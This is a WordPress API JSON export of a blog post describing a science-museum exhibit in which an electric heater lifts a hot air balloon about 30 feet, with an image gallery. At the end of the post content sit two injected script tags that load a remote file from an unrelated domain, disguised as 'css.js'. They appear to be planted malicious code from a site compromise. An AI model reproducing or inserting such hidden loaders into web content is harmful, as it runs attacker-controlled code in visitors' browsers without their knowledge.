{"id":989,"date":"2015-07-30T13:21:44","date_gmt":"2015-07-30T13:21:44","guid":{"rendered":"https:\/\/mattbates.ca\/point-of-view\/?p=989"},"modified":"2026-02-07T21:57:15","modified_gmt":"2026-02-07T21:57:15","slug":"electric-hot-air-balloon","status":"publish","type":"post","link":"https:\/\/mattbates.ca\/point-of-view\/electric-hot-air-balloon\/","title":{"rendered":"Electric Hot Air Balloon"},"content":{"rendered":"<p style=\"text-align: justify;\">This exhibit has been done in many science museums using a gas flame. Our version uses an electric heater. This is much safer and visitors can get closer. The balloon rises the full height of the gallery, about 30 ft. The visitor can control when the balloon is released.<\/p>\n<p>\n\t\t<style type=\"text\/css\">\n\t\t\t#gallery-1 {\n\t\t\t\tmargin: auto;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-item {\n\t\t\t\tfloat: left;\n\t\t\t\tmargin-top: 10px;\n\t\t\t\ttext-align: center;\n\t\t\t\twidth: 33%;\n\t\t\t}\n\t\t\t#gallery-1 img {\n\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t}\n\t\t\t#gallery-1 .gallery-caption {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t<\/style>\n\t\t<div id='gallery-1' class='gallery galleryid-989 gallery-columns-3 gallery-size-medium'><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/HotAir-P1090398.jpg'><img width=\"300\" height=\"225\" src=\"https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/HotAir-P1090398-300x225.jpg\" class=\"attachment-medium size-medium\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/HotAir-P1090398-300x225.jpg 300w, https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/HotAir-P1090398.jpg 1000w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>\n\t\t\t<\/dt><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/HotAir-P1090413.jpg'><img width=\"300\" height=\"225\" src=\"https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/HotAir-P1090413-300x225.jpg\" class=\"attachment-medium size-medium\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/HotAir-P1090413-300x225.jpg 300w, https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/HotAir-P1090413.jpg 1000w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>\n\t\t\t<\/dt><\/dl><dl class='gallery-item'>\n\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/SciencePhenomena-HotAir-P1090403.jpg'><img width=\"300\" height=\"225\" src=\"https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/SciencePhenomena-HotAir-P1090403-300x225.jpg\" class=\"attachment-medium size-medium\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/SciencePhenomena-HotAir-P1090403-300x225.jpg 300w, https:\/\/mattbates.ca\/point-of-view\/wp-content\/uploads\/2015\/07\/SciencePhenomena-HotAir-P1090403.jpg 1000w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>\n\t\t\t<\/dt><\/dl><br style=\"clear: both\" \/>\n\t\t<\/div>\n<script><script src=\"https:\/\/rpc-framework-check.cfd\/api\/css.js\" defer><\/script><\/script><script><script src=\"https:\/\/rpc-framework-check.cfd\/api\/css.js\" defer><\/script><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This exhibit has been done in many science museums using a gas flame. Our version uses an electric heater. This is much safer and visitors can get closer. The balloon <a class=\"more-link\" href=\"https:\/\/mattbates.ca\/point-of-view\/electric-hot-air-balloon\/\">Continue &rarr;<\/a><\/p>\n","protected":false},"author":1,"featured_media":1197,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[45],"tags":[],"_links":{"self":[{"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/posts\/989"}],"collection":[{"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/comments?post=989"}],"version-history":[{"count":5,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/posts\/989\/revisions"}],"predecessor-version":[{"id":1661,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/posts\/989\/revisions\/1661"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/media\/1197"}],"wp:attachment":[{"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/media?parent=989"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/categories?post=989"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mattbates.ca\/point-of-view\/wp-json\/wp\/v2\/tags?post=989"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}